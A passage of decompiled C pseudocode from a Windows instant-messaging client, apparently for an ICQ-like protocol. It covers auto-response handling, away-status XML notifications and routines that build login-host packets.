      ST20_4_0,
      ST24_4_0,
      ST28_4_0,
      ST2C_4_0,
      ST30_4_0,
      ST34_4_0,
      ST38_4_0,
      ST3C_4_0,
      ST40_4_0,
      ST44_4_0,
      ST48_4_0,
      ST4C_4_0,
      ST50_4_0,
      ST54_4_0,
      ST58_4_0,
      v34);
    LOBYTE(v125) = 0;
    sub_406E80((int)&v128);
    goto LABEL_115;
  }
  if ( HIWORD(v126[0]) != 11 )
  {
    if ( HIWORD(v126[0]) == 20 )
    {
      v136 = 15;
      v137 = 0;
      v138 = 0;
      LOBYTE(v125) = 12;
      if ( (unsigned int)(v123 - v122) >= 0xD )
      {
        v78 = *(_BYTE *)(v122 + 10);
        if ( v123 - v122 >= v78 + 13 )
        {
          setLoginHost((const void *)(v122 + 11), v78, (int)&v138);
          v109 = htons_0(*(_WORD *)(v122 + v78 + 11));
          v131 = &ST40_4_0;
          sub_401900((int)&v138, (int)&ST40_4_0);
          (*(int (__thiscall **)(int, int, int, int, int, int, unsigned int, unsigned int, int))(*(_DWORD *)v27 + 8))(
            v27,
            ST40_4_0,
            ST44_4_0,
            ST48_4_0,
            ST4C_4_0,
            ST50_4_0,
            ST54_4_0,
            ST58_4_0,
            v109);
          goto LABEL_113;
        }
      }
    }
    else
    {
      if ( HIWORD(v126[0]) == 12 )
      {
        v136 = 15;
        v137 = 0;
        v138 = 0;
        LOBYTE(v125) = 13;
        if ( (unsigned int)(v123 - v122) >= 0xB )
        {
          v79 = *(_BYTE *)(v122 + 10);
          if ( v123 - v122 >= v79 + 11 )
          {
            setLoginHost((const void *)(v122 + 11), v79, (int)&v138);
            v110 = *(_DWORD *)v122;
            v131 = &ST40_4_0;
            sub_401900((int)&v138, (int)&ST40_4_0);
            (*(int (__thiscall **)(int, int, int, int, int, int, unsigned int, unsigned int, unsigned int))(*(_DWORD *)v27 + 12))(
              v27,
              ST40_4_0,
              ST44_4_0,
              ST48_4_0,
              ST4C_4_0,
              ST50_4_0,
              ST54_4_0,
              ST58_4_0,
              v110);
            goto LABEL_113;
          }
        }
      }
      else
      {
        if ( HIWORD(v126[0]) != 11 )
          goto LABEL_115;
        v136 = 15;
        v137 = 0;
        v138 = 0;
        v133 = 15;
        v134 = 0;
        LOBYTE(v135) = 0;
        v139 = 15;
        v140 = 0;
        LOBYTE(v141) = 0;
        LOBYTE(v125) = 16;
        if ( (unsigned int)(v123 - v122) >= 0xB
          && sub_414D50((int)&v135, (int)&v141, (int)&v138, (int)&v129, (int)&v122) )
        {
          v131 = &ST44_4_0;
          sub_401900((int)&v138, (int)&ST44_4_0);
          v83 = sub_40D3E0(v27, ST44_4_0, ST48_4_0, ST4C_4_0, ST50_4_0, v80, v81, v82);
          if ( v83 >= 0 )
          {
            v92 = v129;
            v113 = v83;
            v91 = *(_DWORD *)(v27 + 8);
            v93 = 368 * v113;
            if ( *(_DWORD *)(v91 + v93 + 156) != v129
              || sub_419EC0((int)&v135, v91 + v93 + 160)
              || sub_419EC0((int)&v141, *(_DWORD *)(v27 + 8) + v93 + 188) )
            {
              *(_DWORD *)(*(_DWORD *)(v27 + 8) + v93 + 156) = v92;
              sub_401600(*(_DWORD *)(v27 + 8) + v93 + 160, -1, 0, (int)&v135);
              v114 = v120;
              sub_401600(*(_DWORD *)(v120 + 8) + v93 + 188, -1, 0, (int)&v141);
              v131 = &ST44_4_0;
              sub_401900((int)&v141, (int)&ST44_4_0);
              LOBYTE(v125) = 19;
              v121 = (int)&ST28_4_0;
              sub_401900((int)&v135, (int)&ST28_4_0);
              LOBYTE(v125) = 20;
              v115 = v129;
              v129 = (unsigned int)&ST08_4_0;
              sub_401900((int)&v138, (int)&ST08_4_0);
              v116 = *(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v114 + 48);
              LOBYTE(v125) = 16;
              v116(
                v114,
                ST08_4_0,
                ST0C_4_0,
                ST10_4_0,
                ST14_4_0,
                ST18_4_0,
                ST1C_4_0,
                ST20_4_0,
                v115,
                ST28_4_0,
                ST2C_4_0,
                ST30_4_0,
                ST34_4_0,
                ST38_4_0,
                ST3C_4_0,
                ST40_4_0,
                v84,
                v85,
                v86,
                v87,
                v88,
                v89,
                v117);
              v27 = v114;
            }
          }
          else
          {
            v131 = &ST44_4_0;
            sub_401900((int)&v141, (int)&ST44_4_0);
            LOBYTE(v125) = 17;
            v120 = (int)&ST28_4_0;
            sub_401900((int)&v135, (int)&ST28_4_0);
            LOBYTE(v125) = 18;
            v111 = v129;
            v129 = (unsigned int)&ST08_4_0;
            sub_401900((int)&v138, (int)&ST08_4_0);
            v112 = *(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v27 + 48);
            LOBYTE(v125) = 16;
            v112(
              v27,
              ST08_4_0,
              ST0C_4_0,
              ST10_4_0,
              ST14_4_0,
              ST18_4_0,
              ST1C_4_0,
              ST20_4_0,
              v111,
              ST28_4_0,
              ST2C_4_0,
              ST30_4_0,
              ST34_4_0,
              ST38_4_0,
              ST3C_4_0,
              ST40_4_0,
              v84,
              v85,
              v86,
              v87,
              v88,
              v89,
              v90);
          }
          sub_401970((int)&v141);
          sub_401970((int)&v135);
          goto LABEL_113;
        }
        sub_401970((int)&v141);
        sub_401970((int)&v135);
      }
    }
LABEL_105:
    v51 = (int)&v138;
    goto LABEL_40;
  }
  *(_DWORD *)&v31 = &v128;
  sub_406C80(v31);
  LOBYTE(v125) = 2;
  if ( !sub_414E70((int)&v128, (int)&v122, (int)&v129) )
    goto LABEL_13;
  v35 = (int *)v128;
  if ( v130 < 0x10 )
    v35 = &v128;
  v99 = (int)v35;
  printf("Incomig autoresp from %s\n");
  v131 = &ST44_4_0;
  sub_401900((int)&v128, (int)&ST44_4_0);
  v36 = sub_40D3E0(v27, ST44_4_0, ST48_4_0, ST4C_4_0, ST50_4_0, ST54_4_0, v42, v99);
  if ( v36 < 0 )
  {
    v102 = v129;
    v131 = &ST04_4_0;
    sub_4086C0((int)&v128, (int)&ST04_4_0);
    (*(int (__thiscall **)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, unsigned int, unsigned int))(*(_DWORD *)v27 + 56))(
      v27,
      ST04_4_0,
      ST08_4_0,
      ST0C_4_0,
      ST10_4_0,
      ST14_4_0,
      ST18_4_0,
      ST1C_4_0,
      ST20_4_0,
      ST24_4_0,
      ST28_4_0,
      ST2C_4_0,
      ST30_4_0,
      ST34_4_0,
      ST38_4_0,
      ST3C_4_0,
      ST40_4_0,
      v37,
      v38,
      v39,
      v40,
      v41,
      v42,
      v102);
LABEL_34:
    LOBYTE(v125) = 0;
    sub_406E80((int)&v128);
  }
  else
  {
    switch ( (unsigned __int8)v129 )
    {
      case 0xE8u:
        v43 = 368 * v36;
        if ( !sub_419EC0((int)&v132, *(_DWORD *)(v27 + 8) + 368 * v36 + 220) )
          goto LABEL_34;
        sub_401600(*(_DWORD *)(v27 + 8) + v43 + 220, -1, 0, (int)&v132);
        v100 = v129;
        v131 = &ST04_4_0;
        sub_4086C0((int)&v128, (int)&ST04_4_0);
        (*(int (__stdcall **)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, unsigned int, unsigned int))(*(_DWORD *)v120 + 56))(
          ST04_4_0,
          ST08_4_0,
          ST0C_4_0,
          ST10_4_0,
          ST14_4_0,
          ST18_4_0,
          ST1C_4_0,
          ST20_4_0,
          ST24_4_0,
          ST28_4_0,
          ST2C_4_0,
          ST30_4_0,
          ST34_4_0,
          ST38_4_0,
          ST3C_4_0,
          ST40_4_0,
          v37,
          v38,
          v39,
          v40,
          v41,
          v42,
          v100);
        v27 = v120;
        LOBYTE(v125) = 0;
        sub_406E80((int)&v128);
        goto LABEL_115;
      case 0xE9u:
        v44 = 368 * v36;
        if ( !sub_419EC0((int)&v132, *(_DWORD *)(v27 + 8) + 368 * v36 + 248) )
          goto LABEL_34;
        v45 = *(_DWORD *)(v27 + 8) + v44 + 248;
        break;
      case 0xEAu:
        v46 = 368 * v36;
        if ( !sub_419EC0((int)&v132, *(_DWORD *)(v27 + 8) + 368 * v36 + 276) )
          goto LABEL_34;
        v45 = *(_DWORD *)(v27 + 8) + v46 + 276;
        break;
      case 0xEBu:
        v47 = 368 * v36;
        if ( !sub_419EC0((int)&v132, *(_DWORD *)(v27 + 8) + 368 * v36 + 304) )
          goto LABEL_34;
        v45 = *(_DWORD *)(v27 + 8) + v47 + 304;
        break;
      case 0xECu:
        v48 = 368 * v36;
        if ( !sub_419EC0((int)&v132, *(_DWORD *)(v27 + 8) + 368 * v36 + 332) )
          goto LABEL_34;
        v45 = *(_DWORD *)(v27 + 8) + v48 + 332;
        break;
      default:
        goto LABEL_34;
    }
    sub_401600(v45, -1, 0, (int)&v132);
    v101 = v129;
    v131 = &ST04_4_0;
    sub_4086C0((int)&v128, (int)&ST04_4_0);
    (*(int (__stdcall **)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, unsigned int, unsigned int))(*(_DWORD *)v120 + 56))(
      ST04_4_0,
      ST08_4_0,
      ST0C_4_0,
      ST10_4_0,
      ST14_4_0,
      ST18_4_0,
      ST1C_4_0,
      ST20_4_0,
      ST24_4_0,
      ST28_4_0,
      ST2C_4_0,
      ST30_4_0,
      ST34_4_0,
      ST38_4_0,
      ST3C_4_0,
      ST40_4_0,
      v37,
      v38,
      v39,
      v40,
      v41,
      v42,
      v101);
    v27 = v120;
    LOBYTE(v125) = 0;
    sub_406E80((int)&v128);
  }
LABEL_115:
  v94 = *(_DWORD *)(v27 + 532);
  if ( v94 )
  {
    if ( v94 != v27 )
    {
      v95 = sub_416270(a2);
      if ( v95 != 1 )
      {
        if ( v95 != -2 )
        {
          sub_40C200(*(_DWORD *)(v27 + 532));
          v96 = *(_DWORD *)(v27 + 532);
          if ( v96 )
            (**(int (__stdcall ***)(_DWORD))v96)(1);
          *(_DWORD *)(v27 + 532) = 0;
        }
      }
    }
  }
  if ( v122 )
    operator delete(v122);
  return 1;
}

//----- (00416EF0) --------------------------------------------------------
int __fastcall sub_416EF0(int a1, int a2, void *Src, int a4, int a5, int a6, size_t Size, int a8, int a9)
{
  int result; // eax@1
  int v10; // ebx@1
  int v11; // edi@1
  const void *v12; // eax@3
  size_t v13; // edi@5
  int v14; // eax@5
  int v15; // eax@5
  int v16; // ST38_4@5
  int v17; // eax@5
  int v18; // eax@5
  int v19; // eax@5
  int v20; // eax@5
  int v21; // eax@5
  int v22; // eax@5
  int v23; // eax@5
  int v24; // edx@7
  int  s; // [sp+1E0h] [bp+0h]@1
  unsigned int v26; // [sp+1CCh] [bp-14h]@1
  int v27; // [sp+1DCh] [bp-4h]@1
  int v28; // [sp+ACh] [bp-134h]@3
  int v29; // [sp+B0h] [bp-130h]@3
  int v30; // [sp+B4h] [bp-12Ch]@3
  size_t v31; // [sp+A8h] [bp-138h]@5
  int v32; // [sp+Ch] [bp-1D4h]@5
  signed int v33; // [sp+1BCh] [bp-24h]@5
  signed int v34; // [sp+1C0h] [bp-20h]@5
  signed int v35; // [sp+1C4h] [bp-1Ch]@5
  signed int v36; // [sp+1C8h] [bp-18h]@5
  signed int v37; // [sp+BCh] [bp-124h]@5
  __int16 v38; // [sp+C4h] [bp-11Ch]@5
  signed int v39; // [sp+C0h] [bp-120h]@5
  char v40; // [sp+C8h] [bp-118h]@5
  signed int v41; // [sp+10Ch] [bp-D4h]@5
  signed int v42; // [sp+108h] [bp-D8h]@5
  signed int v43; // [sp+110h] [bp-D0h]@5
  signed int v44; // [sp+114h] [bp-CCh]@5
  __int16 v45; // [sp+118h] [bp-C8h]@5
  char v46; // [sp+11Ch] [bp-C4h]@5
  int v47; // [sp+1B0h] [bp-30h]@5
  char v48; // [sp+138h] [bp-A8h]@5
  char v49; // [sp+5Ch] [bp-184h]@7
  char v50; // [sp+10h] [bp-1D0h]@7

  v26 = (unsigned int)& s ^ dword_426018;
  v11 = a1;
  v10 = a2;
  v27 = 0;
  result = *(_DWORD *)(a2 + 580);
  if ( result && (unsigned int)result <= 0x20 )
  {
    v28 = 0;
    v29 = 0;
    v30 = 0;
    LOBYTE(v27) = 1;
    sub_405670(8u, (int)&v28);
    *(_DWORD *)v28 = *(_DWORD *)v11;
    *(_DWORD *)(v28 + 4) = *(_DWORD *)(v11 + 4);
    sub_405670(0xBu, (int)&v28);
    *(_WORD *)(v28 + 8) = 512;
    *(_BYTE *)(v28 + 10) = Size;
    sub_405670(Size + 11, (int)&v28);
    v12 = Src;
    if ( (unsigned int)a8 < 0x10 )
      v12 = &Src;
    memcpy((void *)(v28 + 11), v12, Size);
    v13 = Size;
    v31 = Size + 13;
    sub_405670(Size + 13, (int)&v28);
    *(_WORD *)(v28 + v13 + 11) = 768;
    sub_409540((int)&v32);
    LOBYTE(v27) = 2;
    sub_409E90((int)&v32, "<NR><RES>");
    sub_409E90((int)&v32, "&lt;ret event='OnRemoteNotification'&gt;");
    sub_409E90((int)&v32, "&lt;srv&gt;");
    sub_409E90((int)&v32, "&lt;id&gt;&lt;/id&gt;");
    sub_409E90((int)&v32, "&lt;val srv_id=''&gt;undefined&lt;/val&gt;");
    sub_409E90((int)&v32, "&lt;/srv&gt;");
    sub_409E90((int)&v32, "&lt;srv&gt;");
    sub_409E90((int)&v32, "&lt;id&gt;cAwaySrv&lt;/id&gt;");
    sub_409E90((int)&v32, "&lt;val srv_id='cAwaySrv'&gt;");
    sub_409E90((int)&v32, "&lt;Root&gt;");
    sub_409E90((int)&v32, "&lt;CASXtraSetAwayMessage&gt;&lt;/CASXtraSetAwayMessage&gt;");
    v14 = sub_409E90((int)&v32, "&lt;uin&gt;");
    v15 = sub_40A0E0(v14, v10 + 368);
    sub_409E90(v15, "&lt;/uin&gt;");
    v16 = *(_DWORD *)(v10 + 580);
    v17 = sub_409E90((int)&v32, "&lt;index&gt;");
    v18 = std__basic_ostream_char_std__char_traits_char____operator__(v17, v16);
    sub_409E90(v18, "&lt;/index&gt;");
    v19 = sub_409E90((int)&v32, "&lt;title&gt;");
    v20 = sub_40A0E0(v19, v10 + 584);
    sub_409E90(v20, "&lt;/title&gt;");
    v21 = sub_409E90((int)&v32, "&lt;desc&gt;");
    v22 = sub_40A0E0(v21, v10 + 612);
    sub_409E90(v22, "&lt;/desc&gt;");
    sub_409E90((int)&v32, "&lt;/Root&gt;");
    sub_409E90((int)&v32, "&lt;/val&gt;");
    sub_409E90((int)&v32, "&lt;/srv&gt;");
    sub_409E90((int)&v32, "&lt;srv&gt;");
    sub_409E90((int)&v32, "&lt;id&gt;cRandomizerSrv&lt;/id&gt;");
    sub_409E90((int)&v32, "&lt;val srv_id='cRandomizerSrv'&gt;undefined&lt;/val&gt;");
    sub_409E90((int)&v32, "&lt;/srv&gt;");
    sub_409E90((int)&v32, "&lt;/ret&gt;");
    sub_409E90((int)&v32, "</RES></NR>\r\n");
    v33 = -273457093;
    v34 = 1164716760;
    v35 = 1520230564;
    v36 = 1709729630;
    sub_4039B0((int)&v37);
    LOBYTE(v27) = 3;
    v38 = 0;
    v37 = 9;
    v39 = 26;
    setLoginHost(byte_4212B9, 0, (int)&v40);
    v41 = v34;
    v42 = v33;
    v43 = v35;
    v44 = v36;
    v45 = 8;
    setLoginHost("Script Plug-in: Remote Notification Arrive", 0x2Au, (int)&v46);
    v23 = sub_4095F0((int)&v32, (int)&v47);
    LOBYTE(v27) = 4;
    sub_4019A0(v23, (int)&v48);
    LOBYTE(v27) = 3;
    if ( (unsigned int)v35 >= 0x10 )
      operator delete(v47);
    sub_404350((int)&v28, (int)&v37, v31);
    sub_413200(11, 0, v10, 4, (int)&v28);
    sub_403A30((int)&v37);
    v24 = *(_DWORD *)(v32 + 4);
    v31 = (size_t)&v49;
    *(int *)((char *)&v32 + v24) = (int)&off_42191C;
    LOBYTE(v27) = 5;
    sub_409610((int)&v50);
    LOBYTE(v27) = 1;
    *(int *)((char *)&v32 + *(_DWORD *)(v32 + 4)) = (int)std__basic_ostream_char_std__char_traits_char_____vftable_;
    std__basic_ios_char_std__char_traits_char_____basic_ios_char_std__char_traits_char__();
    result = v28;
    if ( v28 )
      result = operator delete(v28);
    if ( (unsigned int)a8 >= 0x10 )
      result = operator delete(Src);
  }
  else
  {
    if ( (unsigned int)a8 >= 0x10 )
      result = operator delete(Src);
  }
  return result;
}

//----- (004173D0) --------------------------------------------------------
char __fastcall sub_4173D0(int a1)
{
  unsigned int v1; // edx@1
  unsigned int v2; // esi@1
  int v3; // edi@2
  char *v4; // eax@3
  signed int v5; // ecx@3
  int  s; // [sp+20h] [bp+0h]@1
  unsigned int v8; // [sp+1Ch] [bp-4h]@1
  int v9; // [sp+Ch] [bp-14h]@2

  v8 = (unsigned int)& s ^ dword_426018;
  v1 = (unsigned int)(*(_DWORD *)(a1 + 4) - *(_DWORD *)a1) >> 4;
  v2 = 0;
  if ( v1 )
  {
    v3 = *(_DWORD *)a1 - (_DWORD)&v9;
    while ( 2 )
    {
      v5 = 16;
      v4 = (char *)&v9;
      while ( 1 )
      {
        if ( (unsigned int)v5 < 4 )
          return 1;
        if ( *(_DWORD *)&v4[v3] != *(_DWORD *)v4 )
          break;
        v5 -= 4;
        v4 += 4;
      }
      ++v2;
      v3 += 16;
      if ( v2 < v1 )
        continue;
      break;
    }
  }
  return 0;
}

//----- (00417470) --------------------------------------------------------
char __fastcall sub_417470(int a1)
{
  unsigned int v1; // edx@1
  unsigned int v2; // esi@1
  int v3; // edi@2
  char *v4; // eax@3
  signed int v5; // ecx@3
  int  s; // [sp+20h] [bp+0h]@1
  unsigned int v8; // [sp+1Ch] [bp-4h]@1
  int v9; // [sp+Ch] [bp-14h]@2

  v8 = (unsigned int)& s ^ dword_426018;
  v1 = (unsigned int)(*(_DWORD *)(a1 + 4) - *(_DWORD *)a1) >> 4;
  v2 = 0;
  if ( v1 )
  {
    v3 = *(_DWORD *)a1 - (_DWORD)&v9;
    while ( 2 )
    {
      v5 = 16;
      v4 = (char *)&v9;
      while ( 1 )
      {
        if ( (unsigned int)v5 < 4 )
          return 1;
        if ( *(_DWORD *)&v4[v3] != *(_DWORD *)v4 )
          break;
        v5 -= 4;
        v4 += 4;
      }
      ++v2;
      v3 += 16;
      if ( v2 < v1 )
        continue;
      break;
    }
  }
  return 0;
}

//----- (00417510) --------------------------------------------------------
char __fastcall sub_417510(int a1)
{
  int v1; // eax@1
  int v2; // edx@2
  unsigned int v3; // edi@3
  int *v4; // esi@3
  int *v5; // eax@4
  signed int v6; // ecx@4
  unsigned int v8; // ecx@1
  int v9; // eax@2
  int v10; // eax@9
  unsigned int v11; // [sp+Ch] [bp-Ch]@1
  int v12; // [sp+14h] [bp-4h]@1
  int v13; // [sp+10h] [bp-8h]@2

  v1 = *(_DWORD *)a1;
  v8 = (unsigned int)(*(_DWORD *)(a1 + 4) - *(_DWORD *)a1) >> 4;
  v11 = v8;
  v12 = 0;
  if ( v8 )
  {
    v9 = v1 - (_DWORD)dword_421928;
    v2 = v9;
    v13 = v9;
    do
    {
      v4 = dword_421928;
      v3 = 0;
      while ( 2 )
      {
        v6 = 16;
        v5 = v4;
        while ( 1 )
        {
          if ( (unsigned int)v6 < 4 )
            return 1;
          if ( *(int *)((char *)v5 + v2) != *v5 )
            break;
          v6 -= 4;
          ++v5;
        }
        v3 += 16;
        v2 -= 16;
        v4 += 4;
        if ( v3 < 0x200 )
          continue;
        break;
      }
      v10 = v12 + 1;
      v2 = v13 + 16;
      ++v12;
      v13 += 16;
    }
    while ( v10 < v11 );
  }
  return 0;
}

//----- (004175B0) --------------------------------------------------------
int __thiscall sub_4175B0(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8)
{
  signed int v8; // esi@5
  const void *v9; // eax@7
  size_t v10; // ebx@9
  int result; // eax@15
  int (__cdecl *v12)(_DWORD); // esi@16
  int v13; // esi@1
  int v14; // eax@1
  int v15; // eax@1
  int v16; // eax@1
  int  s; // [sp+200h] [bp+0h]@1
  unsigned int v18; // [sp+1ECh] [bp-14h]@1
  int v19; // [sp+10h] [bp-1F0h]@1
  int v20; // [sp+1FCh] [bp-4h]@1
  signed int v21; // [sp+1B8h] [bp-48h]@1
  size_t Size; // [sp+1B4h] [bp-4Ch]@1
  void *Src; // [sp+1A4h] [bp-5Ch]@1
  int v24; // [sp+1C0h] [bp-40h]@1
  int v25; // [sp+1C4h] [bp-3Ch]@1
  size_t v26; // [sp+1C8h] [bp-38h]@1
  int (__stdcall **v27)(char); // [sp+194h] [bp-6Ch]@1
  int hostshort; // [sp+1A0h] [bp-60h]@1
  signed int v29; // [sp+198h] [bp-68h]@1
  signed int v30; // [sp+19Ch] [bp-64h]@1
  signed int v31; // [sp+48h] [bp-1B8h]@1
  __int16 v32; // [sp+14h] [bp-1ECh]@1
  int v33; // [sp+18h] [bp-1E8h]@1
  signed int v34; // [sp+1DCh] [bp-24h]@1
  signed int v35; // [sp+1E0h] [bp-20h]@1
  __int16 v36; // [sp+24h] [bp-1DCh]@1
  signed int v37; // [sp+2Eh] [bp-1D2h]@1
  signed int v38; // [sp+32h] [bp-1CEh]@1
  signed int v39; // [sp+1E4h] [bp-1Ch]@1
  signed int v40; // [sp+1E8h] [bp-18h]@1
  signed int v41; // [sp+36h] [bp-1CAh]@1
  signed int v42; // [sp+3Ah] [bp-1C6h]@1
  __int16 v43; // [sp+44h] [bp-1BCh]@1
  signed int v44; // [sp+18Ch] [bp-74h]@1
  int v45; // [sp+1Ch] [bp-1E4h]@1
  int v46; // [sp+20h] [bp-1E0h]@1
  int v47; // [sp+40h] [bp-1C0h]@1
  signed int v48; // [sp+26h] [bp-1DAh]@1
  signed int v49; // [sp+2Ah] [bp-1D6h]@1
  int v50; // [sp+188h] [bp-78h]@1
  int v51; // [sp+178h] [bp-88h]@1
  signed int v52; // [sp+170h] [bp-90h]@1
  int v53; // [sp+16Ch] [bp-94h]@1
  int v54; // [sp+15Ch] [bp-A4h]@1
  __int16 v55; // [sp+50h] [bp-1B0h]@1
  signed int v56; // [sp+4Ch] [bp-1B4h]@1
  char v57; // [sp+54h] [bp-1ACh]@1
  signed int v58; // [sp+94h] [bp-16Ch]@1
  signed int v59; // [sp+98h] [bp-168h]@1
  signed int v60; // [sp+9Ch] [bp-164h]@1
  signed int v61; // [sp+A0h] [bp-160h]@1
  __int16 v62; // [sp+A4h] [bp-15Ch]@1
  char v63; // [sp+A8h] [bp-158h]@1
  int v64; // [sp+140h] [bp-C0h]@1
  int v65; // [sp+1D0h] [bp-30h]@1
  char v66; // [sp+C4h] [bp-13Ch]@1
  unsigned int v67; // [sp+154h] [bp-ACh]@3

  v18 = (unsigned int)& s ^ dword_426018;
  v13 = this;
  v19 = this;
  v20 = 0;
  v21 = 15;
  Size = 0;
  LOBYTE(Src) = 0;
  v24 = 0;
  v25 = 0;
  v26 = 0;
  v27 = &off_421510;
  LOBYTE(v20) = 1;
  LOWORD(hostshort) = 2;
  sub_401600((int)&Src, -1, 0, (int)&a2);
  v29 = -1414812757;
  v30 = -1414812757;
  sub_4039B0((int)&v31);
  LOBYTE(v20) = 2;
  v14 = *(_DWORD *)(v13 + 576) | 0x1000000;
  v32 = 80;
  v33 = v14;
  v34 = 1225999881;
  v35 = -787382452;
  v36 = 0;
  v37 = 1225999881;
  v38 = -787382452;
  v39 = 1162093186;
  v40 = 21587;
  v41 = 1162093186;
  v42 = 21587;
  v43 = 0;
  v44 = 15;
  v45 = 0;
  v46 = 0;
  v47 = 0;
  v48 = v29;
  v49 = v30;
  v50 = 0;
  LOBYTE(v51) = 0;
  setLoginHost(
    "<N><QUERY>&lt;Q&gt;&lt;PluginID&gt;srvMng&lt;/PluginID&gt;&lt;/Q&gt;</QUERY><NOTIFY>&lt;srv&gt;&lt;id&gt;cAwaySrv&lt;/id&gt;&lt;req&gt;&lt;id&gt;AwayStat&lt;/id&gt;&lt;trans&gt;1&lt;/trans&gt;&lt;senderId&gt;",
    0xD0u,
    (int)&v51);
  LOBYTE(v20) = 3;
  v52 = 15;
  v53 = 0;
  LOBYTE(v54) = 0;
  setLoginHost("&lt;/senderId&gt;&lt;/req&gt;&lt;/srv&gt;</NOTIFY></N>", 0x36u, (int)&v54);
  LOBYTE(v20) = 4;
  v34 = -273457093;
  v35 = 1164716760;
  v39 = 1520230564;
  v40 = 1709729630;
  v31 = 9;
  v55 = 0;
  v56 = 26;
  setLoginHost(byte_4212B9, 0, (int)&v57);
  v58 = v34;
  v59 = v35;
  v60 = v39;
  v61 = v40;
  v62 = 8;
  setLoginHost("Script Plug-in: Remote Notification Arrive", 0x2Au, (int)&v63);
  v15 = sub_419F10((int)&v64, (int)&v51, v19 + 368);
  LOBYTE(v20) = 5;
  v16 = sub_40A3D0((int)&v54, v15, (int)&v65);
  LOBYTE(v20) = 6;
  sub_4019A0(v16, (int)&v66);
  if ( (unsigned int)v39 >= 0x10 )
    operator delete(v65);
  LOBYTE(v20) = 4;
  v39 = 15;
  v35 = 0;
  LOBYTE(v65) = 0;
  if ( v67 >= 0x10 )
    operator delete(v64);
  sub_404A40((int)&v24, (int)&v32);
  v8 = 0;
  v34 = 0;
  v35 = 0;
  v39 = 0;
  LOBYTE(v20) = 7;
  if ( Size + 11 > 0 )
  {
    sub_405670(Size + 11, (int)&v34);
    v8 = v34;
  }
  *(_DWORD *)v8 = v29;
  *(_DWORD *)(v8 + 4) = v30;
  *(_WORD *)(v8 + 8) = htons(hostshort);
  *(_BYTE *)(v8 + 10) = Size;
  v9 = Src;
  if ( (unsigned int)v21 < 0x10 )
    v9 = &Src;
  memcpy((void *)(v8 + 11), v9, Size);
  loc_402F20(&v34, &v27, (unsigned int)& s ^ dword_426018);
  sub_413200(6, 0, v19, 4, (int)&v34);
  v10 = 0;
  if ( v34 )
    operator delete(v34);
  if ( (unsigned int)v52 >= 0x10 )
    operator delete(v54);
  v52 = 15;
  v53 = 0;
  LOBYTE(v54) = 0;
  if ( (unsigned int)v44 >= 0x10 )
    operator delete(v51);
  v44 = 15;
  v50 = 0;
  LOBYTE(v51) = 0;
  sub_403A30((int)&v31);
  result = v24;
  v27 = &off_421508;
  if ( v24 )
  {
    sub_4061B0(v24, v25);
    v12 = operator delete;
    result = operator delete(v24);
    v10 = 0;
  }
  else
  {
    v12 = operator delete;
  }
  v24 = v10;
  v25 = v10;
  v26 = v10;
  if ( (unsigned int)v21 >= 0x10 )
    result = v12(Src);
  v21 = 15;
  Size = v10;
  LOBYTE(Src) = v10;
  if ( a7 >= 0x10 )
    result = v12(a2);
  return result;
}

//----- (004179C0) --------------------------------------------------------
int __usercall sub_4179C0<eax>(unsigned int a1<eax>, int a2<esi>)
{
  unsigned int v2; // eax@1
  unsigned int v3; // edi@1
  int v4; // edi@3
  int result; // eax@5

  v3 = a1;
  v2 = *(_DWORD *)(a2 + 4);
  if ( v3 >= v2 || *(_DWORD *)a2 > v3 )
  {
    if ( v2 == *(_DWORD *)(a2 + 8) )
      sub_405AD0(a2, 1);
    result = *(_DWORD *)(a2 + 4);
    if ( result )
      *(_BYTE *)result = *(_BYTE *)v3;
  }
  else
  {
    v4 = v3 - *(_DWORD *)a2;
    if ( v2 == *(_DWORD *)(a2 + 8) )
      sub_405AD0(a2, 1);
    result = *(_DWORD *)(a2 + 4);
    if ( result )
    {
      *(_BYTE *)result = *(_BYTE *)(v4 + *(_DWORD *)a2);
      ++*(_DWORD *)(a2 + 4);
      return result;
    }
  }
  ++*(_DWORD *)(a2 + 4);
  return result;
}

//----- (00417A60) --------------------------------------------------------
int __usercall sub_417A60<eax>(int a1<ecx>, int a2<ebx>)
{
  unsigned int v2; // ecx@1
  int v3; // edi@1
  unsigned int v4; // esi@3
  int result; // eax@5
  int v6; // esi@5
  signed int v7; // [sp+14h] [bp-4h]@5

  v3 = a1;
  v2 = *(_DWORD *)(a2 + 4);
  if ( v3 >= v2 || *(_DWORD *)a2 > (unsigned int)v3 )
  {
    if ( v2 == *(_DWORD *)(a2 + 8) )
      sub_4186F0(a2);
    result = *(_DWORD *)(a2 + 4);
    v7 = 1;
    if ( result )
      goto LABEL_10;
  }
  else
  {
    v4 = ((signed int)(v3 - *(_DWORD *)a2 + ((unsigned __int64)(-1307163959i64 * (v3 - *(_DWORD *)a2)) >> 32)) >> 8)
       + ((unsigned int)(v3 - *(_DWORD *)a2 + ((unsigned __int64)(-1307163959i64 * (v3 - *(_DWORD *)a2)) >> 32)) >> 31);
    if ( v2 == *(_DWORD *)(a2 + 8) )
      sub_4186F0(a2);
    result = *(_DWORD *)(a2 + 4);
    v6 = *(_DWORD *)a2 + 368 * v4;
    v7 = 0;
    if ( result )
    {
      v3 = v6;
LABEL_10:
      result = sub_40CA40(v3, result);
      goto LABEL_11;
    }
  }
LABEL_11:
  *(_DWORD *)(a2 + 4) += 368;
  return result;
}

//----- (00417B10) --------------------------------------------------------
int __userpurge sub_417B10<eax>(int a1<edx>, int a2<ebx>, int a3, int a4)
{
  int v4; // edi@1
  int i; // esi@1
  int result; // eax@3
  int v7; // edx@3

  sub_41ABC0(a4, a1, a4 + 368, *(_DWORD *)(a2 + 4));
  v4 = *(_DWORD *)(a2 + 4);
  for ( i = v4 - 368; i != v4; i += 368 )
    sub_40C880(i);
  v7 = a4;
  result = a3;
